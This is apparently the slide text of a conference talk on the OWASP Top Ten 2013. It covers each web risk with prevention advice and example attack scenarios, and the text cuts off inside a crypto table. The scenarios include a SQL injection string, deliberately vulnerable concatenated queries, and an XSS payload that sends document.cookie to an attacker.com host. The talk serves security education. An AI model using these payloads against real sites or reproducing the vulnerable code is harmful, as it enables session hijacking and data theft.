OWASP Top Ten 2013: vulnerabilities continue
Simón Roses Femerling

- Founder & CEO, VULNEX  www.vulnex.com / @vulnexsl

- Blog:  www.simonroses.com

- Twitter: @simonroses

- Former Microsoft, PwC, @Stake

- DARPA Cyber Fast Track award on software security project

- Black Hat, RSA, OWASP, SOURCE, AppSec, DeepSec, TECHNET
THANKS OWASP
TALK OBJECTIVES

• Secure development overview
• OWASP Top Ten 2013
• Defenses & tools
AGENDA

1. OWASP Top Ten 2013: what's new
2. OWASP top Ten 2013: in depth
3. Secure Development
1. OWASP Top Ten 2013: what’s new
1. WHAT IS OWASP TOP TEN?

• The primary aim of the OWASP Top 10 is to educate developers, designers, architects, managers, and organizations about the consequences of the most important web application security weaknesses.

• The Top 10 provides basic techniques to protect against these high risk problem areas – and also provides guidance on where to go from here.
1. OWASP TOP TEN SOURCE

- The OWASP Top 10 for 2013 is based on 8 datasets from 7 firms that specialize in application security, including 4 consulting companies and 3 tool/SaaS vendors (1 static, 1 dynamic, and 1 with both). This data spans over 500,000 vulnerabilities across hundreds of organizations and thousands of applications. The Top 10 items are selected and prioritized according to this prevalence data, in combination with consensus estimates of exploitability, detectability, and impact estimates.

- Aspect Security
- HP – Fortify and WebInspect
- Minded Security
- Softtek
- Trustwave
- Veracode
- WhiteHat Security
1. WARNINGS

• Don’t stop at 10. There are hundreds of issues that could affect the overall security of a web application as discussed in the OWASP Developer’s Guide and the OWASP Cheat Sheet Series. These are essential reading for anyone developing web applications. Guidance on how to effectively find vulnerabilities in web applications is provided in the OWASP Testing Guide and the OWASP Code Review Guide.

• Constant change. This Top 10 will continue to change. Even without changing a single line of your application’s code, you may become vulnerable as new flaws are discovered and attack methods are refined. Please review the advice at the end of the Top 10 in “What’s Next For Developers, Verifiers, and Organizations” for more information.

• Think positive. When you’re ready to stop chasing vulnerabilities and focus on establishing strong application security controls, OWASP has produced the Application Security Verification Standard (ASVS) as a guide to organizations and application reviewers on what to verify.

• Use tools wisely. Security vulnerabilities can be quite complex and buried in mountains of code. In many cases, the most cost-effective approach for finding and eliminating these weaknesses is human experts armed with good tools.

• Push left. Focus on making security an integral part of your culture throughout your development organization. Find out more in the Open Software Assurance Maturity Model (SAMM) and the Rugged Handbook.
1. WHAT CHANGED FROM 2010 TO 2013?

- The threat landscape for applications security constantly changes. Key factors in this evolution are advances made by attackers, the release of new technologies with new weaknesses as well as more built in defenses, and the deployment of increasingly complex systems. To keep pace, we periodically update the OWASP Top 10. In this 2013 release, we made the following changes:

1. Broken Authentication and Session Management moved up in prevalence based on our data set. Probably because this area is being looked at harder, not because issues are actually more prevalent. This caused Risks A2 and A3 to switch places.

2. Cross-Site Request Forgery (CSRF) moved down in prevalence based on our data set from 2010-A5 to 2013-A8. We believe this is because CSRF has been in the OWASP Top 10 for 6 years, and organizations and framework developers have focused on it enough to significantly reduce the number of CSRF vulnerabilities in real world applications.

3. We broadened Failure to Restrict URL Access from the 2010 OWASP Top 10 to be more inclusive: + 2010-A8: Failure to Restrict URL Access is now 2013-A7: Missing Function Level Access Control – to cover all of function level access control. There are many ways to specify which function is being accessed, not just the URL.

4. We merged and broadened 2010-A7 & 2010-A9 to CREATE: 2013-A6: Sensitive Data Exposure: - This new category was created by merging 2010-A7 – Insecure Cryptographic Storage & 2010-A9 - Insufficient Transport Layer Protection, plus adding browser side sensitive data risks as well. This new category covers sensitive data protection (other than access control which is covered by 2013-A4 and 2013-A7) from the moment sensitive data is provided by the user, sent to and stored within the application, and then sent back to the browser again.

5. We added: 2013-A9: Using Components with Known Vulnerabilities: + This issue was mentioned as part of 2010-A6 – Security Misconfiguration, but now has a category of its own as the growth and depth of component based development has significantly increased the risk of using components with known vulnerabilities.
# 1. TOP TEN 2010 VS 2013

<table>
<thead>
<tr>
<th>OWASP Top 10 – 2010 (Previous)</th>
<th>OWASP Top 10 – 2013 (New)</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1 – Injection</td>
<td>A1 – Injection</td>
</tr>
<tr>
<td>A3 – Broken Authentication and Session Management</td>
<td>A2 – Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A2 – Cross-Site Scripting (XSS)</td>
<td>A3 – Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>A4 – Insecure Direct Object References</td>
<td>A4 – Insecure Direct Object References</td>
</tr>
<tr>
<td>A6 – Security Misconfiguration</td>
<td>A5 – Security Misconfiguration</td>
</tr>
<tr>
<td>A7 – Insecure Cryptographic Storage – Merged with A9</td>
<td>A6 – Sensitive Data Exposure</td>
</tr>
<tr>
<td>A8 – Failure to Restrict URL Access – Broadened into</td>
<td>A7 – Missing Function Level Access Control</td>
</tr>
<tr>
<td>A5 – Cross-Site Request Forgery (CSRF)</td>
<td>A8 – Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>&lt;buried in A6: Security Misconfiguration&gt;</td>
<td>A9 – Using Known Vulnerable Components</td>
</tr>
<tr>
<td>A10 – Unvalidated Redirects and Forwards</td>
<td>A10 – Unvalidated Redirects and Forwards</td>
</tr>
<tr>
<td>A9 – Insufficient Transport Layer Protection</td>
<td>Merged with 2010-A7 into new 2013-A6</td>
</tr>
</tbody>
</table>
1. WHAT ARE APPLICATION SECURITY RISKS?

• Attackers can potentially use many different paths through your application to do harm to your business or organization. Each of these paths represents a risk that may, or may not, be serious enough to warrant attention.
1. WHAT'S MY RISK?

- The **OWASP Top 10** focuses on identifying the most serious risks for a broad array of organizations. For each of these risks, we provide generic information about likelihood and technical impact using the following simple ratings scheme, which is based on the **OWASP Risk Rating Methodology**.

<table>
<thead>
<tr>
<th>Threat Agents</th>
<th>Attack Vectors</th>
<th>Weakness Prevalence</th>
<th>Weakness Detectability</th>
<th>Technical Impacts</th>
<th>Business Impacts</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>App Specific</strong></td>
<td>Easy</td>
<td>Widespread</td>
<td>Easy</td>
<td>Severe</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Average</td>
<td>Common</td>
<td>Average</td>
<td>Moderate</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Difficult</td>
<td>Uncommon</td>
<td>Difficult</td>
<td>Minor</td>
<td>App / Business Specific</td>
</tr>
</tbody>
</table>

- Only you know the specifics of your environment and your business.
1. RISK REFERENCES

• OWASP
  – [OWASP Risk Rating Methodology](#)
  – [Article on Threat/Risk Modeling](#)

• External
  – [FAIR Information Risk Framework](#)
  – [Microsoft Threat Modeling (STRIDE and DREAD)](#)
## 1. THE MIGHTY TOP TEN 2013 (I)

| A1 – Injection | • Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. |
| A2 – Broken Authentication and Session Management | • Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities. |
| A3 – Cross-Site Scripting (XSS) | • XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites. |
| A4 – Insecure Direct Object References | • A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data. |
| A5 – Security Misconfiguration | • Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date. |
### 1. THE MIGHTY TOP TEN 2013 (II)

<table>
<thead>
<tr>
<th></th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>A6 – Sensitive Data Exposure</td>
<td>• Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.</td>
</tr>
<tr>
<td>A7 – Missing Function Level Access Control</td>
<td>• Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed. If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization.</td>
</tr>
<tr>
<td>A8 - Cross-Site Request Forgery (CSRF)</td>
<td>• A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.</td>
</tr>
<tr>
<td>A9 – Using Components with Known Vulnerabilities</td>
<td>• Components, such as libraries, frameworks, and other software modules, almost always run with full privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications using components with known vulnerabilities may undermine application defenses and enable a range of possible attacks and impacts.</td>
</tr>
<tr>
<td>A10 – Unvalidated Redirects and Forwards</td>
<td>• Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.</td>
</tr>
</tbody>
</table>
2. OWASP Top Ten 2013: in depth
## 2. A1 - INJECTION

<table>
<thead>
<tr>
<th>Threat Agents</th>
<th>Attack Vectors</th>
<th>Security Weakness</th>
<th>Technical Impacts</th>
<th>Business Impacts</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Application Specific</strong></td>
<td><strong>Exploitability</strong></td>
<td><strong>Prevalence</strong></td>
<td><strong>Detectability</strong></td>
<td><strong>Impact</strong></td>
</tr>
<tr>
<td>Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.</td>
<td>Exploitability: EASY</td>
<td>Prevalence: COMMON</td>
<td>Detectability: AVERAGE</td>
<td>Impact: SEVERE</td>
</tr>
<tr>
<td>Attacker sends simple text-based attacks that exploit the syntax of the targeted interpreter. Almost any source of data can be an injection vector, including internal sources.</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Injection flaws</strong> occur when an application sends untrusted data to an interpreter. Injection flaws are very prevalent, particularly in legacy code. They are often found in SQL, LDAP, Xpath, or NoSQL queries; OS commands; XML parsers, SMTP Headers, program arguments, etc. Injection flaws are easy to discover when examining code, but frequently hard to discover via testing. Scanners and fuzzers can help attackers find injection flaws.</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

---

*VULNEX*
2. A1 – AM I VULNERABLE TO INJECTION?

• The best way to find out if an application is vulnerable to injection is to verify that all use of interpreters clearly separates untrusted data from the command or query.

• Checking the code is a fast and accurate way to see if the application uses interpreters safely.

• Automated dynamic scanning which exercises the application may provide insight into whether some exploitable injection flaws exist.
2. A1 – HOW DO I PREVENT INJECTION?

- Preventing injection requires keeping untrusted data separate from commands and queries.

1. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface. Be careful with APIs, such as stored procedures, that are parameterized, but can still introduce injection under the hood.

2. If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP’s ESAPI provides many of these escaping routines.

3. Positive or “white list” input validation is also recommended, but is not a complete defense as many applications require special characters in their input. If special characters are required, only approaches 1. and 2. above will make their use safe. OWASP’s ESAPI has an extensible library of white list input validation routines.
2. A1 – EXAMPLE ATTACK SCENARIOS

• **Scenario #1:** The application uses untrusted data in the construction of the following vulnerable SQL call:

String query = "SELECT * FROM accounts WHERE custID='' + request.getParameter("id") + '''";

• **Scenario #2:** Similarly, an application’s blind trust in frameworks may result in queries that are still vulnerable, (e.g., Hibernate Query Language (HQL)):

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='' + request.getParameter("id") + '''");

In both cases, the attacker modifies the ‘id’ parameter value in her browser to send: ' or '1'='1. For example:

http://example.com/app/accountView?id=' or '1'='1

This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify data or even invoke stored procedures.
2. A1 – DEFENSES DESIGN

- **Strings:**
  - Validate for Length
  - Validate for format (if possible)
    - Well terminated regular expressions(!)
      - ^ ... $
  - White list vs. black list

- **Numeric's:**
  - Validate for lower(!) and upper bounds
  - Watch out for sign conversions
    - signed $\leftrightarrow$ unsigned

- **Strong data types**
  - Guid (constructor validates format, not if value is actually valid)
2. A1 - REFERENCES

• OWASP
  - OWASP SQL Injection Prevention Cheat Sheet
  - OWASP Query Parameterization Cheat Sheet
  - OWASP Command Injection Article
  - OWASP XML eXternal Entity (XXE) Reference Article
  - ASVS: Output Encoding/Escaping Requirements (V6)
  - OWASP Testing Guide: Chapter on SQL Injection Testing

• External
  - CWE Entry 77 on Command Injection
  - CWE Entry 89 on SQL Injection
  - CWE Entry 564 on Hibernate Injection
## 2. A2 – BROKEN AUTHENTICATION AND SESSION MANAGEMENT

<table>
<thead>
<tr>
<th>Threat Agents</th>
<th>Attack Vectors</th>
<th>Security Weakness</th>
<th>Technical Impacts</th>
<th>Business Impacts</th>
<th>Application / Business Specific</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Application Specific</strong></td>
<td><strong>Exploitability</strong> AVERAGE <strong>Prevalence</strong> WIDESPREAD <strong>Detectability</strong> AVERAGE <strong>Impact</strong> SEVERE</td>
<td><strong>Consider anonymous external attackers, as well as users with their own accounts, who may attempt to steal accounts from others. Also consider insiders wanting to disguise their actions.</strong></td>
<td><strong>Attacker uses leaks or flaws in the authentication or session management functions (e.g., exposed accounts, passwords, session IDs) to impersonate users.</strong></td>
<td><strong>Developers frequently build custom authentication and session management schemes, but building these correctly is hard. As a result, these custom schemes frequently have flaws in areas such as logout, password management, timeouts, remember me, secret question, account update, etc. Finding such flaws can sometimes be difficult, as each implementation is unique.</strong></td>
<td><strong>Such flaws may allow some or even all accounts to be attacked. Once successful, the attacker can do anything the victim could do. Privileged accounts are frequently targeted.</strong></td>
</tr>
</tbody>
</table>
2. A2 - AM I VULNERABLE TO HIJACKING?

- Are session management assets like user credentials and session IDs properly protected? You may be vulnerable if:

1. User authentication credentials aren’t protected when stored using hashing or encryption. See A6.
2. Credentials can be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs).
3. Session IDs are exposed in the URL (e.g., URL rewriting).
4. Session IDs are vulnerable to session fixation attacks.
5. Session IDs don’t timeout, or user sessions or authentication tokens, particularly single sign-on (SSO) tokens, aren’t properly invalidated during logout.
6. Session IDs aren’t rotated after successful login.
7. Passwords, session IDs, and other credentials are sent over unencrypted connections. See A6.

- See the ASVS requirement areas V2 and V3 for more details.
2. A2 – HOW DO I PREVENT ‘BROKEN AUTHENTICATION AND SESSION MANAGEMENT’?

• The primary recommendation for an organization is to make available to developers:

1. A single set of strong authentication and session management controls. Such controls should strive to:
   1. meet all the authentication and session management requirements defined in OWASP’s Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management).
   2. have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.

2. Strong efforts should also be made to avoid XSS flaws which can be used to steal session IDs. See A3.
2. A2 – EXAMPLE ATTACK SCENARIOS

- **Scenario #1**: Airline reservations application supports URL rewriting, putting session IDs in the URL:

  \[\text{http://example.com/sale/saleitemsjsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii}\]

  An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.

- **Scenario #2**: Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout” the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated.

- **Scenario #3**: Insider or external attacker gains access to the system’s password database. User passwords are not properly hashed, exposing every users’ password to the attacker.
2. A2 - REFERENCES

• OWASP
  - For a more complete set of requirements and problems to avoid in this area, see the [ASVS requirements areas for Authentication (V2) and Session Management (V3)](https://www.owasp.org/index.php/ASVS).
  - [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication-Cheat-Sheet.html)
  - [OWASP Forgot Password Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Forgot-Password-Cheat-Sheet.html)
  - [OWASP Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session-Management-Cheat-Sheet.html)

• External
  - [CWE Entry 287 on Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)
  - [CWE Entry 384 on Session Fixation](https://cwe.mitre.org/data/definitions/384.html)
## 2. A3 – CROSS-SITE SCRIPTING (XSS)

<table>
<thead>
<tr>
<th>Application Specific</th>
<th>Exploitability</th>
<th>Prevalence</th>
<th>Detectability</th>
<th>Impact</th>
<th>Application / Business Specific</th>
</tr>
</thead>
</table>
| Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators. | AVERAGE | VERY WIDESPREAD | EASY | MODERATE | Consider the business value of the affected system and all the data it processes. 
Also consider the business impact of public exposure of the vulnerability. |
| Attacker sends text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database. |  |  |  |  | |
| XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) Stored, 2) Reflected, and 3) DOM based XSS. 
Detection of most XSS flaws is fairly easy via testing or code analysis. |  |  |  |  | |
| Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc. |  |  |  |  |
2. A3 – AM I VULNERABLE TO XSS?

• You are vulnerable if you do not ensure that all user supplied input is properly escaped, or you do not verify it to be safe via input validation, before including that input in the output page. Without proper output escaping or validation, such input will be treated as active content in the browser. If Ajax is being used to dynamically update the page, are you using safe JavaScript APIs? For unsafe JavaScript APIs, encoding or validation must also be used.

• Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, making automated detection difficult. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.

• Web 2.0 technologies, such as Ajax, make XSS much more difficult to detect via automated tools.
2. A3 – HOW DO I PREVENT XSS?

• Preventing XSS requires separation of untrusted data from active browser content.

1. The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the OWASP XSS Prevention Cheat Sheet for details on the required data escaping techniques.

2. Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and business rules on that data before accepting the input.

3. For rich content, consider auto-sanitization libraries like OWASP’s AntiSamy or the Java HTML Sanitizer Project.

4. Consider Content Security Policy (CSP) to defend against XSS across your entire site.
2. A3 – EXAMPLE ATTACK SCENARIOS

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

```
(String) page += "<input name='creditcard' type='TEXT' value='' + request.getParameter("CC") + ">
```

The attacker modifies the ‘CC’ parameter in his browser to:

```
'>
</script>
document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>
```

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See A8 for info on CSRF.
2. A3 - REFERENCES

• OWASP
  - OWASP XSS Prevention Cheat Sheet
  - OWASP DOM based XSS Prevention Cheat Sheet
  - OWASP Cross-Site Scripting Article
  - ESAPI Encoder API
  - ASVS: Output Encoding/Escaping Requirements (V6)
  - OWASP AntiSamy: Sanitization Library
  - Testing Guide: 1st 3 Chapters on Data Validation Testing
  - OWASP Code Review Guide: Chapter on XSS Review
  - OWASP XSS Filter Evasion Cheat Sheet

• External
  - CWE Entry 79 on Cross-Site Scripting
## 2. A4 – INSECURE DIRECT OBJECT REFERENCES

<table>
<thead>
<tr>
<th>Threat Agents</th>
<th>Attack Vectors</th>
<th>Security Weakness</th>
<th>Technical Impacts</th>
<th>Business Impacts</th>
</tr>
</thead>
<tbody>
<tr>
<td>Application Specific</td>
<td>Exploitability EASY</td>
<td>Prevalence COMMON</td>
<td>Detectability EASY</td>
<td>Impact MODERATE</td>
</tr>
</tbody>
</table>

Consider the types of users of your system. Do any users have only partial access to certain types of system data?

Attacker, who is an authorized system user, simply changes a parameter value that directly refers to a system object to another object the user isn’t authorized for. Is access granted?

Applications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. Testers can easily manipulate parameter values to detect such flaws. Code analysis quickly shows whether authorization is properly verified.

Such flaws can compromise all the data that can be referenced by the parameter. Unless object references are unpredictable, it’s easy for an attacker to access all available data of that type.

Consider the business value of the exposed data. Also consider the business impact of public exposure of the vulnerability.
2. A4 – AM I VULNERABLE?

• The best way to find out if an application is vulnerable to insecure direct object references is to verify that all object references have appropriate defenses. To achieve this, consider:

  1. For **direct** references to **restricted** resources, does the application fail to verify the user is authorized to access the exact resource they have requested?
  2. If the reference is an **indirect** reference, does the mapping to the direct reference fail to limit the values to those authorized for the current user?

• Code review of the application can quickly verify whether either approach is implemented safely. Testing is also effective for identifying direct object references and whether they are safe. Automated tools typically do not look for such flaws because they cannot recognize what requires protection or what is safe or unsafe.
2. A4 – HOW DO I PREVENT ‘INSECURE DIRECT OBJECT REFERENCES’

- Preventing insecure direct object references requires selecting an approach for protecting each user accessible object (e.g., object number, filename):

1. **Use per user or session indirect object references.** This prevents attackers from directly targeting unauthorized resources. For example, instead of using the resource’s database key, a drop down list of six resources authorized for the current user could use the numbers 1 to 6 to indicate which value the user selected. The application has to map the per-user indirect reference back to the actual database key on the server. OWASP’s [ESAPI](https://www.owasp.org/index.php/ESAPI) includes both sequential and random access reference maps that developers can use to eliminate direct object references.

2. **Check access.** Each use of a direct object reference from an untrusted source must include an access control check to ensure the user is authorized for the requested object.
2. A4 - EXAMPLE ATTACK SCENARIOS

The application uses unverified data in a SQL call that is accessing account information:

String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt = connection.prepareStatement(query , ... );

pstmt.setString( 1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );

The attacker simply modifies the ‘acct’ parameter in her browser to send whatever account number she wants. If not properly verified, the attacker can access any user’s account, instead of only the intended customer’s account.

http://example.com/app/accountInfo?acct=notmyacct
2. A4 - REFERENCES

• OWASP
  - OWASP Top 10-2007 on Insecure Dir Object References
  - ESAPI Access Reference Map API
  - ESAPI Access Control API (See isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction() )
  - For additional access control requirements, see the ASVS requirements area for Access Control (V4).

• External
  - CWE Entry 639 on Insecure Direct Object References
  - CWE Entry 22 on Path Traversal (is an example of a Direct Object Reference attack)
## 2. A5 – Security Misconfiguration

<table>
<thead>
<tr>
<th>Threat Agents</th>
<th>Attack Vectors</th>
<th>Security Weakness</th>
<th>Technical Impacts</th>
<th>Business Impacts</th>
</tr>
</thead>
<tbody>
<tr>
<td>Application Specific</td>
<td>Exploitability</td>
<td>Prevalence</td>
<td>Detectability</td>
<td>Impact</td>
</tr>
<tr>
<td>Consider anonymous external attackers as well as users with their own accounts that may attempt to compromise the system. Also consider insiders wanting to disguise their actions.</td>
<td>Attacker accesses default accounts, unused pages, unpatched flaws, unprotected files and directories, etc. to gain unauthorized access to or knowledge of the system.</td>
<td>Security misconfiguration can happen at any level of an application stack, including the platform, web server, application server, database, framework, and custom code. Developers and system administrators need to work together to ensure that the entire stack is configured properly. Automated scanners are useful for detecting missing patches, misconfigurations, use of default accounts, unnecessary services, etc.</td>
<td>Such flaws frequently give attackers unauthorized access to some system data or functionality. Occasionally, such flaws result in a complete system compromise.</td>
<td>The system could be completely compromised without you knowing it. All of your data could be stolen or modified slowly over time. Recovery costs could be expensive.</td>
</tr>
</tbody>
</table>

**VULNEX**
2. A5 – AM I VULNERABLE TO ‘SECURITY MISCONFIGURATION’?

• Is your application missing the proper security hardening across any part of the application stack? Including:

  1. Is any of your software out of date? This includes the OS, Web/App Server, DBMS, applications, and all code libraries (see new A9).
  2. Are any unnecessary features enabled or installed (e.g., ports, services, pages, accounts, privileges)?
  3. Are default accounts and their passwords still enabled and unchanged?
  4. Does your error handling reveal stack traces or other overly informative error messages to users?
  5. Are the security settings in your development frameworks (e.g., Struts, Spring, ASP.NET) and libraries not set to secure values?

• Without a concerted, repeatable application security configuration process, systems are at a higher risk.
2. A5 – HOW DO I PREVENT ‘SECURITY MISCONFIGURATION’?

- The primary recommendations are to establish all of the following:

  1. A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically (with different passwords used in each environment). This process should be automated to minimize the effort required to setup a new secure environment.

  2. A process for keeping abreast of and deploying all new software updates and patches in a timely manner to each deployed environment. This needs to include all code libraries as well (see new A9).

  3. A strong application architecture that provides effective, secure separation between components.

  4. Consider running scans and doing audits periodically to help detect future misconfigurations or missing patches.
2. A5 – EXAMPLE ATTACK SCENARIOS

- **Scenario #1**: The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

- **Scenario #2**: Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she decompiles and reverse engineers to get all your custom code. She then finds a serious access control flaw in your application.

- **Scenario #3**: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.

- **Scenario #4**: App server comes with sample applications that are not removed from your production server. Said sample applications have well known security flaws attackers can use to compromise your server.
2. A5 - REFERENCES

• OWASP
  – OWASP Development Guide: Chapter on Configuration
  – OWASP Code Review Guide: Chapter on Error Handling
  – OWASP Testing Guide: Configuration Management
  – OWASP Top 10 2004 - Insecure Configuration Management
  – For additional requirements in this area, see the ASVS requirements area for Security Configuration (V12).

• External
  – PC Magazine Article on Web Server Hardening
  – CWE Entry 2 on Environmental Security Flaws
  – CIS Security Configuration Guides/Benchmarks
### 2. A6 – SENSITIVE DATA EXPOSURE

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Consider who can gain access to your sensitive data and any backups of that data. This includes the data at rest, in transit, and even in your customers' browsers. Include both external and internal threats.</td>
<td>Difficult</td>
<td>Uncommon</td>
<td>Average</td>
<td>Severe</td>
<td>Consider the business value of the lost data and impact to your reputation. What is your legal liability if this data is exposed? Also consider the damage to your reputation.</td>
</tr>
<tr>
<td></td>
<td>Attackers typically don't break crypto directly. They break something else, such as steal keys, do man-in-the-middle attacks, or steal clear text data off the server, while in transit, or from the user’s browser.</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>The most common flaw is simply not encrypting sensitive data. When crypto is employed, weak key generation and management, and weak algorithm usage is common, particularly weak password hashing techniques. Browser weaknesses are very common and easy to detect, but hard to exploit on a large scale. External attackers have difficulty detecting server side flaws due to limited access and they are also usually hard to exploit.</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Failure frequently compromises all data that should have been protected. Typically, this information includes sensitive data such as health records, credentials, personal data, credit cards, etc.</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
2. A6 – AM I VULNERABLE TO ‘SENSITIVE DATA EXPOSURE’?

• The first thing you have to determine is which data is sensitive enough to require extra protection. For example, passwords, credit card numbers, health records, and personal information should be protected. For all such data:

  1. Is any of this data stored in clear text long term, including backups of this data?
  2. Is any of this data transmitted in clear text, internally or externally? Internet traffic is especially dangerous.
  3. Are any old / weak cryptographic algorithms used?
  4. Are weak crypto keys generated, or is proper key management or rotation missing?
  5. Are any browser security directives or headers missing when sensitive data is provided by / sent to the browser?

• And more ... For a more complete set of problems to avoid, see ASVS areas Crypto (V7), Data Prot. (V9), and SSL (V10).
2. A6 – HOW DO I PREVENT ‘SENSITIVE DATA EXPOSURE’?

The full perils of unsafe cryptography, SSL usage, and data protection are well beyond the scope of the Top 10. That said, for all sensitive data, do all of the following, at a minimum:

1. Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats.
2. Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you don’t have can’t be stolen.
3. Ensure strong standard algorithms and strong keys are used, and proper key management is in place. Consider using FIPS 140 validated cryptographic modules.
4. Ensure passwords are stored with an algorithm specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt.
5. Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.
2. A6 – EXAMPLE ATTACK SCENARIOS

- **Scenario #1**: An application encrypts credit card numbers in a database using automatic database encryption. However, this means it also decrypts this data automatically when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text. The system should have encrypted the credit card numbers using a public key, and only allowed back-end applications to decrypt them with the private key.

- **Scenario #2**: A site simply doesn’t use SSL for all authenticated pages. Attacker simply monitors network traffic (like an open wireless network), and steals the user’s session cookie. Attacker then replays this cookie and hijacks the user’s session, accessing the user’s private data.

- **Scenario #3**: The password database uses unsalted hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password file. All of the unsalted hashes can be exposed with a rainbow table of precalculated hashes.
# 2. A6 – DEFENSES DESIGN

## General Recommendations

<table>
<thead>
<tr>
<th>Algorithm Type</th>
<th>NO</th>
<th>OK</th>
<th>Recommended</th>
</tr>
</thead>
<tbody>
<tr>
<td>Symmetric Block</td>
<td>crypto algorithms / keys to be replaced in existing code or used only for decryption</td>
<td>3DES (2 or 3 key)</td>
